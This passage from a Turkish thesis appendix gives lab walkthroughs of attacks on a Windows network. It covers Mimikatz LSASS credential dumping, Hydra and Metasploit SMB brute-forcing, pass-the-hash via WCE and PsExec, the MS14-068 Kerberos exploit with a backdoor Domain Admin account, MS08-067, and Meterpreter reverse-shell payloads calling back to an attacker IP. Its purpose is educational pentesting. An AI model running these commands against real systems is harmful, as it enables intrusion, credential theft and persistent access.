isminde ilgili yere att§n ³ekil D.8 üzerinde görüldü§ü gibi bildirir.
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ekil D.8: Lsass Prosesinden Dump Alma ³leminin Sonuçlanmas
ekil D.9 üzerinde görüldü§ü gibi `Lsass.DMP' dump dosyasn `Mimikatz' aracnn bu-
lundu§u klasöre ta³nlr veya ilgili dizin gösterilir.
ekil D.9: Dump Dosyasnn Bulundu§u Klasör
`Mimikatz' aracn ba³latmak için cmd.exe `admin' yetkisi ile ba³latlr. Bulundu§u kla-
söre `cd' komutu ile girip, i³letim sistemi 64 bit ise veya 32 bit ise ona göre sürümü
çal³trlr. Yaplan i³lem ³ekil D.1 üzerinde gösterilmi³tir.
Ya da `SYSTEM' yetkisi ile açlm³ cmd.exe'ye direkt `Mimikatz.exe' yazlarak çal³t-
rldktan sonra `sekurlsa::minidump lsass.dmp' ve `sekurlsa::wdigest' exit komutu verilir.
ekil D.10 ve D.11 üzerinde görüldü§ü gibi oturum açm³ bulunan kullanclarn açk
halde parolalar elde edildi.
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ekil D.10: Dump Dosyasnn Mimikatz Aracna Verilmesi Sonucu 1
ekil D.11: Dump Dosyasnn Mimikatz Aracna Verilmesi Sonucu 2
Ek E
Parola ve Parola Özetleri
Kullanlarak Bilgisayarda Eri³im
Elde Etme
E.1 Hydra Modülü Kullanlarak Kaba Kuvvet Yöntemi ile
Kullanc ve Parola Bilgilerini Elde Etme
TCP/145. Portu açk olan ve 192.168.200.134 IP'ye sahip Windows i³letim sistemli bir
bilgisayar `hydra' arac hesap bilgileri bulunan kullanclar tespit edilecektir. ekil E.1
üzerinde görüldü§ü gibi örnek users dosyasnda kullanc adlar mevcuttur. Bu dosya
root/Desktop altnda bulunmaktadr.
ekil E.1: Kullanc Listesi
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ekil E.2 üzerinde görüldü§ü gibi içinde tahmin edilen ve elde edilen parolalarn bulun-
du§u örnek pass dosyasda root/Desktop altndadr.
ekil E.2: Parola Listesi
Bu bilgiler `hydra -L users -P pass 192.168.200.134 smbnt' komutu ile hydra aracna veri-
lecektir. ekil E.3 üzerinde görüldü§ü gibi mesut, burak, kerem kullanclar ve parolalar
elde edildi.
ekil E.3: Hydra Çal³trldktan Sonra Elde Edilen Kullanclar ve Parolalar
Bu yönteme benzer yöntemler `Medusa' gibi araçlar ile yaplabilir.
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E.2 SMB_login Modülü Kullanlarak Kaba Kuvvet Yön-
temi ile Parola ve Parola Özeti Elde Etme
445. portu açk olan bilgisayarlarn ³ekil E.4 üzerinde görüldü§ü gibi IP listesi a³a§daki
gibi elde edildi§i varsaylm³tr. Varsaylan bu IP listesi iplist adnda root/Desktop klasö-
rünün altnda bulunmaktadr. IP'leri barndran liste `Metasploit' aracnn `Smb_login'
modülünde `RHOSTS ﬁle:' seçene§inde kullanlr.
ekil E.4: SMB Loginde Kullanlacak P Listesi
ekil E.5 üzerinde görüldü§ü gibi kullanclara ait eri³im bilgileri elde edildi§i veya tah-
min edildi§i varsaylarak, kullanc bilgilerini içeren bir dosya olu³turulmu³tur. Bu dosya
kullanc ad ve parola özetlerini içerecek ³ekilde passlist adnda i³letim sisteminin ro-
ot/Desktop klasörünün altna eklenmi³tir. Bu dosya `Metasploit' aracnn `Smb_login'
modülünde `USERPASS_FILE' seçene§inde kullanlr.
ekil E.5: SMB Loginde Kullanlacak Kimlik Bilgileri
EK-E Parola ve Parola Özetleri Kullanlarak Bilgisayarda Eri³im Elde Etme 131
ekil E.6 üzerinde görüldü§ü gibi kullanclara ait kimlik bilgileri elde edildi§i veya tah-
min edildi§i varsaylm³tr. Bu bilgiler içinde kullanc ad listesi bulunan bir dosya haline
geitirilip users adnda root/Desktop klasörünün altna eklenmi³tir. Bu dosya `Metasploit'
aracnn `smb_login' modülünde `USER_FILE' seçene§inde kullanlr.
ekil E.6: SMB Loginde Kullanlacak Kullanclar Listesi
ekil E.7 üzerinde görüldü§ü gibi kullanclara ait kimlik bilgilerinden parola özetleri
passs adnda root/Desktop klasörünün altna eklenmi³tir. Bu dosya `Metasplit' aracnn
`smb_login' modülünde `PASS_FILE' seçene§inde kullanlr.
ekil E.7: SMB Loginde Kullanlacak Parola Özetleri Listesi
Bu bilgileri kullanmak için `Metasploit' çal³trldktan sonra `search smb_login' ko-
mutu verilir. Arama sonucundan sonra `use auxiliary/scanner/smb/smb_login' komutu
ile `smb_login' modülüne girilir. Yaplan i³lemler ³ekil E.8 üzerinde gösterilmi³tir.
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ekil E.8: Smb_login Search Edilmesi
`SMB_login' için yaplmas gereken ayarlar ³ekil E.9 üzerinde görüldü§ü gibi `show op-
tions' komutu kullanlr.
ekil E.9: SMB_login Ayar Seçenekleri
Daha önceden elde edilen kullanc bilgilerini, SMB_login ile birçok yöntem kullanlarak
IP ve kullanc e³le³tirilmesi yaplabilir. Uygulanacak bu yöntem de kullanclara ait kim-
lik bilgileri ve parola özetleri bulunan passs dosyas ile bilgisayarlarn IP'lerini barndran
iplist dosyas kullanlacaktr. Modülün `show options' komutu ile görüldü§ü üzere kullan-
lacak seçeneklerden birisi `USERPASS_FILE' seçene§idir. Bu seçene§e verilmesi gereken
dosya kullanc adlar ve parola veya parola özetlerini barndran dosya olmaldr. Burada
kullanlmas gereken dosya passlist adndaki dosyadr. `set USERPASS_FILE /root/-
Desktop/passlist' komutu ile dosya set edilir. Di§er kullanlacak seçenek ise `RHOSTS'
seçene§idir. Yani hedef bilgisayar veya bilgisayarlarn IP adreslerinin verilece§i seçenek-
tir. E§er bu seçene§e dosya verilecekse ön eki olan `ﬁle:' özelli§i kullanlr. `set RHOSTS
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ﬁle:/root/Desktop/iplist' komutu ile bu seçenek ayarlanlr. `Run' veya `exploit' komutu
verilerek çal³trlr. Yaplan i³lem ³ekil E.10 üzerinde gösterilmi³tir.
ekil E.10: SMB Loginin Exploit Edilmesi
Sonuç olarak ³ekil E.11 üzerinde görüldü§ü gibi 134 ile biten IP'den kerem, burak ve
mesut kullanclarnn login olduklar görülmektedir.
ekil E.11: Login Olan Kullanclar
Çok büyük a§larda daha çok ve karma³k sonuç gelece§inden bu karma³kl§ en aza
indirmek için ³ekil E.12 üzerinde görüldü§ü gibi verbose özelli§ini false yaplarak i³lemler
gerçekle³tirilir.
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ekil E.12: Verbose Özelli§inin False Yaplmas Sonucu
E.3 Smb_Enumusers_Domain Modülü ile Windows Bilgi-
sayarlarda Jetonu Bulunan Hesaplarn Tespit Edilmesi
445. portu açk olan kurum içi bilgisayarlarn IP listesi ³ekil E.13 üzerinde görüldü§ü gibi
elde edildi§i varsaylm³tr. Bu IP listesi iplist adnda root/Desktop klasörünün altna
eklenmi³tir.
ekil E.13: Smb_Enumusers_Domain Kullanlacak P Listesi
`Metasploit' aracnda iken `search smb_enumusers_domain' komutu ile modülü bulmak
için arama gerçekle³tirilir. Modüle girmek için `use auxiliary/scanner/smb/smb
_enumusers_domain' komutu verilir. Ayarlar kontrol etmek için `show options' komutu
kullanlr. Yaplan i³lemler ³ekil E.14 üzerinde gösterilmi³tir.
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ekil E.14: Smb_Enumusers_Domain Search Edilmesi
Bu modül yerel ve etki alan kullanclarnn parola ve parola özetini alabilmektedir. Etki
alan kullanclarna yönelik i³lem yaplacaksa `SMBDomain' seçene§ine domain ad gi-
rilir. Yerel yönetici hakkna sahip bir yerel kullanc hesab ile ayn a§ içinde domain
hesabnn çal³an prosesi olup olmad§ tespit edilebilir. Bunun için yerel yönetici yet-
kisine sahip olan mesut kullancs ve bu kullancnn açk parolas `Test123' olup ve
bu haklara sahip oldu§u bilgisayarn IP'si ise 192.168.200.139 ve 192.168.200.138'dir.
Ayarlar ksmn görmek için `Show options' komutu çal³trlr. Burada `set RHOSTS
ﬁle:/root/Desktop/iplist1' komutu ile iplist dosyas set edilir. Kullanc `set SMBUser
mesut' ve parolas `set SMBPass Test123' set edilir (e§er parola özeti kullanlacaksa
parola yerine parola özeti verilir). `show options' komutu ile yaplan ayarlarn son hali
kontol edilir. E§er i³lem etki alannda bir bilgisayar için yaplacaksa `set SMBDomain
<etki alan ad> ' komutu verilebilir. Yaplan i³lemler ³ekil E.15 üzerinde gösterilmi³tir.
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ekil E.15: Smb_Enumusers_Domain Ayarlarnn Yaplmas
Modülü çal³trmak için run veya exploit komutu verilir. ekil E.16 üzerinde görüldü§ü
gibi 192.168.200.139'da mesut, murat ve XXX yerel kullanclarnn prosesi mevcuttur.
192.168.200.138 IP'sine bakld§nda ise kerem ve mesut kullanclarnn prosesi oldu§u
görülmektedir.
ekil E.16: Smb_Enumusers_Domain Exploit Edilmesi
E.4 MSF Psexec stismar Modülü ile Meterpreter Ba§lan-
ts Elde Etme
Saldr için `MSFconsol'a girilir. Modülün tamamn görmek için `search psexec plat-
form:windows type:exploit' komutu ile arama yaplr. Arama sonucunda `use exploit-
/windows/smb/psexec' komutu ile `psexec' istismar modülüne girilir. Ayarlar görmek
için `show options' komutu verilir. Yaplan i³lemler ³ekil E.17 üzerinde gösterilmi³tir.
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ekil E.17: Psexec Modülünün Search Edilmesi ve Ayar Seçenekleri
Yaplmas gereken ayarlar kontrol edildikten sonra bu ayarlar do§rultusunda i³lem yaplr.
Öncelikle görüldü§ü üzere ayarlara kullanc bilgilerinin girilmesi gerekir. `set RHOST
192.168.200.136' komutu ile hedef bilgisayarn IP'si verilir. `set SMBUser mesut' komutu
ile kullanc ad verilir. `set SMBPass Test123' (Ayn ³ekilde parola özeti verilerek i³lem
yaplabilir.) komutu ile kullancnn parolas verilir. E§er domainde i³lem yaplacaksa `set
SMBDomain <domain ad>' komutu kullanlr. Yaplan ayarlarn kontrol edilmesi için
`show options' komutu verilir. Yaplan i³lemlerin sonucu ³ekil E.18 üzerinde gösterilmi³tir.
ekil E.18: Psexec Modül Ayarlarnn Yaplmas ve Kontrol Edilmesi
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ekil E.19 üzerinde görüldü§ü gibi çal³trmak için `run' veya `exploit' komutlar kulla-
nlr.
ekil E.19: Psexec Modülünün Exploit Edilmesi
Hangi yetkide ve PID ile çal³ld§n görmek için `getuid' ve `getpid' komutlar kullanlr.
Sonra ise hangi proseste çal³ld§n görmek için `ps -s' komutu ile prosesler listelenir.
ekil E.20 üzerinde görüldü§ü gibi `SYSTEM' yetkilerinde ve 32 bitlik `rundll32.exe'
prosesinde olu³mu³tur.
ekil E.20: Psexec Modülünün Çal³t§ Proses
Bu yönteme benzer yöntemler `Linux pth-winexe' gibi araçlar ile yaplabilir.
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E.5 Psexec_Psh stismar Modülü ile Meterpreter Ba§lan-
ts Elde Etme
Saldr için `MSFconsol'a girilir. Modülün tamamn elde etmek için `search psexec plat-
form:windows' komutu ile arama yaplr. Arama sonucunda `use exploit/windows/smb-
/psexec_psh' komutu ile `psexec' istismar modülüne girilir. Yaplmas gereken ayarlar
görmek için ³ekil E.21 üzerinde görüldü§ü gibi `show options' komutu verilir.
ekil E.21: Psexec_Psh Modülünün Search Edilmesi ve Ayar Seçenekleri
Ayarlar yapmak için set komutu kullanlr. `set RHOST 192.168.200.138' komutu ile he-
def bilgisayarn IP'si verilir. `set SMBUser mesut' komutu ile kullanc ad verilir. `set
SMBPass Test123' (Ayn ³ekilde parola özeti verilerek i³lem yaplabilir.) komutu ile pa-
rolas verilir. E§er domainde i³lem yaplacaksa `set SMBDomain <domain ad>' komutu
kullanlr. Yaplan ayarlarn son durumunu görmek için ³ekil E.22 üzerinde görüldü§ü
gibi `show options' komutu verilir.
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ekil E.22: Psexec_Psh Modül Ayarlarnn Yaplmas ve Kontrol Edilmesi
Çal³trmak için `run' veya `exploit' komutu kullanlr. Hangi yetkide ve PID ile çal³l-
d§n görmek için `getuid' ve `getpid' komutlar verilir. Yaplan i³lemlerin sonucu ³ekil
E.23 üzerinde gösterilmi³tir.
ekil E.23: Psexec_Psh Modülünün Exploit Edilmesi
Hangi proseste çal³ld§n görmek için `ps -s' komutu verilir. ekil E.24 üzerinde görül-
dü§ü gibi `SYSTEM' yetkilerinde ve yeni `powershell' prosesi olu³mu³tur.
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ekil E.24: Psexec_Psh Modülünün Çal³t§ Proses
E.6 Yönetici Parola Özetini WCE Aracna Vererek Uzak
Bilgisayarn Komut Satrna Eri³im Sa§lanmas
Kaynak bilgisayarda Windows komut satr çal³trlr. Uzaktan `cmd' satrna eri³im
sa§layabilmek için o bilgisayarda yönetici yetkilerine sahip bir kullanc ile i³lem yaplr.
Bu durumu ³ekil E.25 üzerinde i³lem yaplan kullanc olmas sa§lanr. Kullanc hedef
bilgisayarda da ayn kimlik bilgilerinde tanml olmas gerekmektedir. ekil E.25 üzerinde
görüldü§ü gibi uzaktan `cmd' komut satrna eri³ilebilmektedir.
ekil E.25: Psexec.exe'de Ayn Kullanc ile Hedef PC CMD'de Oturum Açma
Tekrardan Windows komut satr çal³trlr. Uzaktan `cmd' satrna eri³im sa§layabilmek
için hedef bilgisayarnda yönetici yetkilerine sahip kullanc bilgileri gerekmektedir. ekil
E.26 üzerinde görüldü§ü gibi e§er yetkili hesap olmazsa eri³im yetki hatas alnr.
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ekil E.26: Eri³im Yetkisi Hatas
192.168.200.142 IP'ye sahip olan bilgisayarn yetkili kullancs mesut ve burak kullanc-
snn parola özeti
`aad3b435b51404eeaad3b435b51404ee:3b1da22b1973c0bb86d4a9b6a9ae65f6' ³eklinde olup
bu bilgi WCE aracnda hedef sistemin komut satrna eri³im için kullanlacaktr. ekil
E.27 üzerinde görüldü§ü gibi RAM üzerinde burak adl hesabn parolasnn açk hali ve
özet hali bulunmaktadr.
ekil E.27: Mevcut Kullancnn Ram Üzerindeki Parola Özetlerinin Kontrolü
`WCE' aracnda `-s' seçene§i ile `wce -s' komutunu kullanarak RAM üzerinde bulu-
nan oturumun NTLM kimlik bilgileri de§i³tirilecektir. Bu komut ile birlikte `WORKG-
ROUP:mesut:
aad3b435b51404eeaad3b435b51404ee:3b1da22b1973c0bb86d4a9b6a9ae65f6'mesut kulla-
ncsn ve parola özeti de verilmesi gerekir. Sonra son durumu görmek için ³ekil E.28
üzerinde görüldü§ü gibi ` wce -l' komutu ile ram üzerindeki parola özetini ve `wce -w' ile
parola okunacaktr.
ekil E.28: Mevcut Kullancnn Ram Üzerinde Parola özetinin De§i³tirilmesi
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Parola özeti de§i³tirildikten sonra
`net use \\192.168.200.143/C$ /USER : WORKGROUP\mesut' komutu `C' dizinine
ula³mak için çal³trlr ve `net use' komutu ile kontrol edilir.
ekil E.29: Hedef Bilgisayarn Yönetimsel Payla³mna Ula³lmas
³lem yaplan kullanc `whoami' komutu ile kontrol edildikten sonra `hostname' ko-
mutu ile i³lem yaplan bilgisayarn adna baklr. Bu i³lemler sonucunda `PsExec.exe
\\172.16.67.202 cmd -accepteula' komutu ile hedef bilgisayarn `cmd' komutuna ula³ld§
görülür. Sonucu kontrol etmek için `whoami' ve `hostname' komutlar tekrar kullanlr.
Yaplan i³lemler sonucu ³ekil E.30 üzerinde gösterilmi³tir.
ekil E.30: Hedef Bilgisayarn Cmd Komut Satrna Ula³lmas
Ek F
Pass the Ticket
F.1 MS14-068 Kerberos Güvenlik Zaﬁyetinin stismar
ekil F.1 üzerinde görüldü§ü gibi önce kullanc yetkileri kontrol edilir. Domain Users
yetkilerinde olan cem.sari etki alan kullancs Domain Admins yetkilerine geçecektir.
ekil F.1: Domain Kullancs Grubunun Kontrolü
Etki alan denetleycisi (DC) adnn çözümlenmesi için Kali i³letim sisteminde iken ko-
mutu satrndan `echo nameserver 192.168.200.100  /etc/resolv.conf' etki alan denet-
leycisi (DC) DNS IP de§eri verilir. Kontrol etmek için ³ekil F.2 üzerinde görüldü§ü gibi
`cat /etc/resolv.conf' komutu ile baklr.
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ekil F.2: Nameserver Ayarlama
Bu i³lemden sonra `MSFconsole' modülü olan `ms14_068_kerberos_checksum' kullan-
lacaktr. Modüle girmek için `use auxiliary/admin/kerberos/ ms14_068_kerberos
_checksum' komutu verilir. Modül ayarlarn kontrol etmek için ³ekil F.3 üzerinde görül-
dü§ü gibi `Show options' komutu girilir.
ekil F.3: Ms14_068_Kerberos_Checksum Modülü ve Ayar Kontrolü
Modül ayarlarndan görüldü§ü üzere domain kullancsnn SID'i gerekecektir. ekil F.4
üzerinde görüldü§ü gibi SID alnmas için `whoami /user' komutu verilir.
ekil F.4: Kullanc SID De§erinin Kontrolü
Gerekli ayarlar yapldktan sonra ³ekil F.5 üzerinde görüldü§ü gibi komut verilir.
ekil F.5: Ms14_068_Kerberos_Checksum Modülü Yaplan Ayar Kontrolü
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Servis biletine ait dosyann olu³mas için ³ekil F.6 üzerinde görüldü§ü gibi `run' komutu
verilir. Daha sonra bu dosya ele geçirilen domain kullancsnda kullanlacaktr.
ekil F.6: Ms14_068_Kerberos_Checksum Modülünün Çal³trlmas ve Ticket Dos-
yasnn Olu³umu
Yeni bilet yüklemek için ele geçirilmi³ kullancnn eski biletleri silinecektir. ekil F.6
üzerinde olu³turulan yeni bilet yüklenece§inden dolay eskisi ile kar³mamas gerekir. Bu
yüzden `klist' komutu ile biletler listelenir. Sonra `klist purge' komutu ile silinir. Kontrol
için yine `klist' komutu kullanlr. Yaplan i³lem sonucu ³ekil F.7 üzerinde verilmi³tir.
ekil F.7: Kullancya Ait Eski Biletlerin Silinmesi
Bu i³lemde olu³turulan bilet `Mimikatz' arac ile `cem.sari' kullancsna aktarlacaktr.
Bunun için `kerberos::ptc <Bilet dosyas>' komutu kullanlr. Ardndan yeni bileti gör-
mek için `klist' komutu verilir. ekilde F.8 üzerinde görüldü§ü gibi biletin olu³turuldu§u
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tarihte biletin ba³lama süresi ba³lam³ ve 10 saat sürecek olan biti³ tarihi yazldr. Ayn
³ekilde yüklemeden sonrada bu tarihler geçerlidir.
ekil F.8: Kullancya Yeni Biletin Eklenmesi ve Kontrolü
Bu durumda Domain Users yetkilerinde olan cem.sari yeni bileti ile Domain Admins
yetkilerine yükselmi³tir. Yetkisi yükseltilmi³ kullanc ile bir takm i³lemler gerçekle³tiri-
lecektir. Domaindeki kullanclar kontrol etmek için `net user /domain' komutu verilir.
Domain'e PENTEST adnda ve `Pen12345' parolasnda yeni bir kullanc eklemek için
`net user PENTEST Pen12345 /add /domain' komutu verilir. Bu kullancy Domain
Admins grubuna eklemek için `net group "Domain Admins" PENTEST /add /domain'
komutu verilir. Sonucu kontrol etmek için `net group "Domain Admins" /domain' ko-
mutu verilir. ekil F.9 üzerinde görüldü§ü gibi Domain Admins grubuna yeni bir kullanc
eklendi.
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ekil F.9: Elde Edilen Bilet ile Domain Admin Grubuna Yeni Kullanc Eklenmesi
Ek G
Zaﬁyet stismar
G.1 Ms08_067_Netapi Modülü ile Windowsta Meterpre-
ter Ba§lantsnn Sa§lanmas
Öncelikle `MSFconsol' çal³trlr. Sonra `search ms08_067' komutu ile modülün tama-
mn bulunmas için arama yaplr. E§er modül ismi tam biliniyorsa arama yapmaya
gerek yoktur. Arama sonucundan sonra `use exploit/windows/smb/ms08_067_netapi'
komutu vererek modüle girilir. Yaplmas gereken ayarlar görmek için ³ekil G.1 üzerinde
görüldü§ü gibi `show options' komutu verilir.
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ekil G.1: Ms08_067 Modülünün Search Edilmesi ve Ayar Seçenekleri
Ayarlarda sadece hedef bilgisayarn IP'si verilir. IP'yi vermek için
`set RHOST 192.168.200.132' komutu kullanlr ve `show options' komutu verilerek ayar-
larn son hali tekrar gözden geçirilir. Çal³trmak için ³ekil G.2 üzerinde görüldü§ü gibi
`run' veya `exploit' komutu verilir.
ekil G.2: Ms08_067 Modülü Ayarlarnn Yaplmas ve Kontrol Edilmesi
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`Meterpreter' ba§lants elde edildikten sonra `sysinfo' komutu ile i³letim sistemi bilgisi
alnr. Hangi yetki ald§n kontrol etmek için `getuid' ve hangi PID ile açld§n ise
`getpid' komutu kullanlr. ekil G.3 üzerinde görüldü§ü gibi modülün çal³ma sonucu
`SYSTEM' haklar ile `svchost.exe' prosesinde çal³m³tr.
ekil G.3: Ms08_067 Modülünün Exploit Edilmesi ve Çal³t§ Prosesin Görülmesi
Ayrca bu açklk ilgili linkten incelenebilir.
https://www.bilgiguvenligi.gov.tr/kritik-acikliklar/windows-server-
servisinde-bulunan-kritik-aciklik-ms08-067-3.html
G.2 FreeSSHd Yüklü Windows Bilgisayarda Meterpreter
Ba§lantsnn Sa§lanmas
Windows i³letim sistemine yüklenen `Freesshd'ye ³ekil G.4 üzerinde görüldü§ü gibi admin
eklenilir. Eklenen admin kullancs `freesshd' üzerinde varsaylm³tr.
EK-G Zaﬁyet stismar 152
ekil G.4: FreeSSHd'ye KullancEkleme
Açklk ile ilgili modülün tamamn görmek için `search freesshd_authbypass' komutu ile
arama yaplr. `use exploit/windows/ssh/freesshd_authbypass' komutu ile modüle girilir.
ekil G.5 üzerinde görüldü§ü gibi `show options' komutu ile yaplmas gereken ayarlara
baklr.
ekil G.5: FreeSSHd Search Edilmesi ve Ayarlarnn Kontrolü
Burada hedef bilgisayarn IP'si verilmesi gerekmektedir. IP'yi vermek için `set RHOST
192.168.200.142' komutunu kullanlr ve `show options'komutu verilerek ³ekil G.6 üze-
rinde görüldü§ü gibi ayarlar tekrar gözden geçirilir.
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ekil G.6: FreeSSHd Ayarlarnn Yaplmas
Modülü exploit etmek için `run' veya `exploit' komutu verilir. `getuid' ile hangi yetkiyi
ald§n ve hangi PID ile açld§n ise `getpid' komutlarn vererek görülür. ekil G.7
üzerinde görüldü§ü gibi yaplan i³lemler sonucunda modül çal³trlarak `freesshd' uygu-
lamas ile `Meterpreter' ba§lants burak kullancs üzerinde elde edilmi³tir.
ekil G.7: FreeSSHd ile Meterpreter Ba§lantsnn Kurulmas
Ek H
Sosyal Mühendislik Saldrlar ile
³letim Sisteminde Yetkilerin Elde
Edilmesi
H.1 Reverse_Tcp Payload ile Arka Kap Açarak Meterp-
reter Çal³trma
Kali i³letim sistemi komut satrndan `msfpayload windows/meterpreter/reversetcp
LHOST = 192.168.200.128 LPORT = 4444 X > /tmp/aaa.exe' komutu ile payload
exploiti ³ekil H.7 üzerinde görüldü§ü gibi olu³turulur.
ekil H.1: Arka Kap için Payload Hazrlanmas
Olu³turulan Payload uygun bir yöntem ile hedef bilgisayarda çal³trlr. Burada ise ³ekil
H.2 ve H.3 üzerinde görüldü§ü gibi kaynak bilgisayardan kopyalanp hedef bilgisayarn
masaüstüne yap³trlm³tr.
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ekil H.2: Olu³turulan aaa.exe Payload 1
ekil H.3: Olu³turulan aaa.exe Payload 2
Kaynak bilgisayarda `MSFconsole' çal³trarak i³lemlere devam edilir. `MSFconsola' gi-
rildikten sonra `use exploit/multi/handler' komutu verilerek `handler' exploitine girilir.
`Show options' komutu ile ayarlarna bakldktan sonra kaynak IP' sine `set LHOST
192.168.200.128' ve portuna `set LHOST 4444' verilir. Yaplan i³lem ³ekil H.4 üzerinde
gösterilmi³tir.
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ekil H.4: Multi Handler Exploit Ayarlar
Sonra payload ayarlar yaplr. Reverse tcp set edilece§inden; `set PAYLOAD
windows/meterpreter/reversetcp' komutu ve `Show options' komutu ile son ayarlar
kontrol ³ekil H.5 üzerinde görüldü§ü gibi edilir.
ekil H.5: Payload Ayarlar ve Kontrolü
Bu i³lemlerden sonra `run' veya `exploit' komutu ile çal³trlr ve hedef bilgisayarn pay-
load çal³trmas beklenir. E§er hedef bilgisayarda payload çal³trlr ise `Meterpreter'
ba§lants sa§lanlr. Bu i³lemler de ise `handler' çal³trdktan sonra hedef bilgisayar-
dan payload manuel çal³trlacaktr. ekil H.6 üzerinde görüldü§ü gibi hedef bilgisayara
ba§lants sa§lanm³tr.
ekil H.6: Multi Handler Exploit Edilmesi
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H.2 Reverse_Https Payload ile Arka Kap Açarak Meterp-
reter Çal³trma
Hedefe gönderilecek bir reverse_https payload hazrlanlr. Kali i³letim sistemi komut sa-
trndan `msfpayload windows/meterpreter/reverse_https LHOST = 192.168.200.128
LPORT = 443 X > /tmp/aaa.exe' komutu ile payload exploiti ³ekil H.7 üzerinde gö-
rüldü§ü gibi olu³turulur.
ekil H.7: Arka Kap için Payload Hazrlanmas
Olu³turulan payload uygun bir yöntem ile hedef bilgisayarda çal³trlr. Burada ise ³ekil
H.8 ve H.9 üzerinde görüldü§ü gibi kaynak bilgisayardan kopyalanp hedef bilgisayarn
masaüstüne yap³trlm³tr.
ekil H.8: Olu³turulan aaa1.exe Payloadnn Kaynak Bilgisayardan Alnmas
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ekil H.9: Olu³turulan aaa1.exe Payloadnn Hedef Bilgisayara Atlmas
Ek I
Payla³ma Açk Hassas Verilerin
Elde Edilmesi
I.1 MSF smb_enumshares Auxiliary Modülü ile Payla³m-
lara Eri³ilmesi
Hedef makine olan Windows i³letim sisteminin ³ekil I.1'de görüldü§ü üzere payla³m
yaplr.
ekil I.1: Windows Üzerinde Payla³m Yaplmas
Sonra kaynak bilgisayardan `Metasploit' arac çal³trlr. `search smb_enumshares' ko-
mutu ile `smb_enumshares' modülüne ula³lr.
`use auxiliary/scanner/smb/smb_enumshares' komutu ile modüle girilir. `show options'
komutu ile modül ayarlar kontrol edilir. Modül ayarlarnda ki RHOSTS özelli§ine `set
RHOSTS 192.169.200.101' komutu ile hedef bilgisayarn IP'si verilir. Yaplan i³lemler
³ekil I.2'de gösterildi§i gibidir.
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ekil I.2: Smb_enumshares Modülü Ayarlarnn Yaplmas
Modüle yönelik ba³ka bir ayar gerekmedi§inden `run' komutu verilerek modül çal³trlr.
Yaplan i³lem ve sonucu ³ekil I.3'te görüldü§ü gibidir.
ekil I.3: Smb_enumshares Modülünün Çal³trlmas ve Sonuca Ula³lmas
Görüldü§ü üzere ³ekil I.1'de `Testpaylasim' adndaki payla³m ³ekil I.3'te listelenmi³tir.
Ek J
Tanmlar
J.1 Genel Güvenlik Kavramlar
Bilgi güvenli§i kavram kapsamnda ço§unlukla bilginin korunmas hedeﬂenir. Bilginin
üretildi§i yerden ba³layp ta³nd§ ve sakland§ sistemler üzerinde gizlili§inin ve bütün-
lü§ünün yetkisiz eri³imden korunmas gerekmektedir. Sistem ya da sosyal mühendislik
kaynakl açklklardan olu³an tehditler, tehdit ve açklklarn olu³turdu§u riskler ve risk-
lerin meydana gelmesi sonucunda ise sistemin istismar edilmesi söz konusudur. Bu tez
kapsamnda skça kullanlan önemli kavramlarn açklamalar a³a§da verilmi³tir.
J.1.1 Hacker
Üst düzey programlama yetisine sahip, a§ ve sistemleri iyi tanyabilme ve kullanabilme
yetene§i olan, sosyal mühendislik yapabilen ve bu üç özelli§i bir arada kullanarak sistem,
bilgisayarlar yada bilgisayar mant§nda çal³an araçlara szarak istedi§i sonucu elde ede-
bilen ki³i yada topluluklara hacker denir. Hackerlar; beyaz ³apka, siyah ³apka ve gri ³apka
olmak üzere üçe ayrlr. Beyaz ³apkal hackerlar, bilgilerini iyi yönde kullanrlar, sistem
açklkllarn genelde kapatmaya çal³r ve bu do§rultuda kurum, kurulu³lara ve toplu-
luklara bilgilendirmeler yaparlar. Siyah ³apkal hackerlar, kendi çkarlar do§rultusunda
sistemlere szarak sistem veya ula³tklar bilgilere zarar verirler. Gri ³apkal hackerlar ise
bazen siyah ³apkal bazen beyaz ³apkal hackerlar gibi davranrlar.
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J.1.2 Varlk
Bir kurum veya kurulu³ için korunmas gereken ya da de§eri olan her unsur bir varlktr.
Kurum ve kurulu³lardaki bilgiler, yazlmlar, donanmlar, binalar, i³ araç ve gereçleri gibi
i³letme için de§eri olan tüm unsurlar varl§a örnek olarak verilebilir.
J.1.3 Açklk
Genel olarak sistemde bulunan yapsal veya tasarm hatal açklklardr. Bu açklklar
d³nda sistem yanl³ yada eksik yaplandrlmas veya kurulan programlarn güncel ol-
mamas gibi örnekler verilebilir. Saldrganlar bu açklklar istismar ederek güvenlik ön-
lemlerinin a³lmasna neden olur.
J.1.4 Tehdit
Bilinçli ya da bilinçsiz eylemler sonucu kurum, kurulu³ veya ki³iler için olas zararl
sonuç/sonuçlar do§urabilme, varlklarnn gizlilik, bütünlük ve eri³ilebilirliklerine zarar
verebilen saldr ya da açklk ihtimalleridir. Tehdit geli³ yönüne göre kurum içi ve kurum
d³, tehdit kayna§ açsndan ise insan kaynakl tehdit ve do§a kaynakl tehdit olmak
üzere ikiye ayrlr.
J.1.5 Risk
Tehditlerin varlklar üzerindeki gizlilik, bütünlük ve eri³ilebilirlik boyutlarnda olu³tur-
du§u etkinin, tehdidin ortaya çkma olasl§ ile birlikte hesaplanmasdr. Bilgi güvenli-
§inin temelindeki gizlilik, bütünlük ve eri³ebilirlik unsurlarna yönelik risklerin iyi analiz
edilerek, do§abilecek zararl sonuçlar en az seviyeye indirmeyi amaçlar.
J.1.6 Sömürme (Exploit)
Sistemin yapsal, tasarmsal, eksiklik yaplandrmas ve sosyal mühendislik ile ilgili tek-
nik açklklarn sonucunda metasploit veya di§er araçlar kullanlarak sistemde bulunan
açkl§n bilinçli ya da bilinçsiz bir ³ekilde istismar edilmesidir.
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J.2 Bilgi Güvenli§i Unsurlar
Bilgi güvenli§i, bilgilerin izinsiz eri³imlerden, kullanmndan, if³a edilmesinden, yok edil-
mesinden, de§i³tirilmesinden veya hasar verilmesinden korunmas i³lemidir. Mahremiye-
tin, bütünlü§ün ve bilginin ula³labilirli§inin korunmas hususu ortak hedeftir. Bu ba§-
lamda bilgi güvenli§ini olu³turan alt unsurlarn tanmlanmas gereklidir [21].
J.2.1 Gizlilik-Bütünlük-Eri³ilebilirlik CIA (Conﬁdentiality, Integrity,
Availability)
Bilgi güvenli§inin temeli gizlilik, bütünlük ve eri³ebilirlik unsurlarna dayanmaktadr. Bu
üç unsur bilgi güvenli§i literatüründe CIA olarak geçmektedir [22]. Bu unsurlar ³ekil J.1
üzerinde görüldü§ü gibidir.
ekil J.1: CIA Güvenlik Modeli
J.2.1.1 Gizlilik (Conﬁdentiality)
Bilginin yetkisiz kullanclar ya da proseslerle kullanlabilirli§ini sa§lamama özelli§idir.
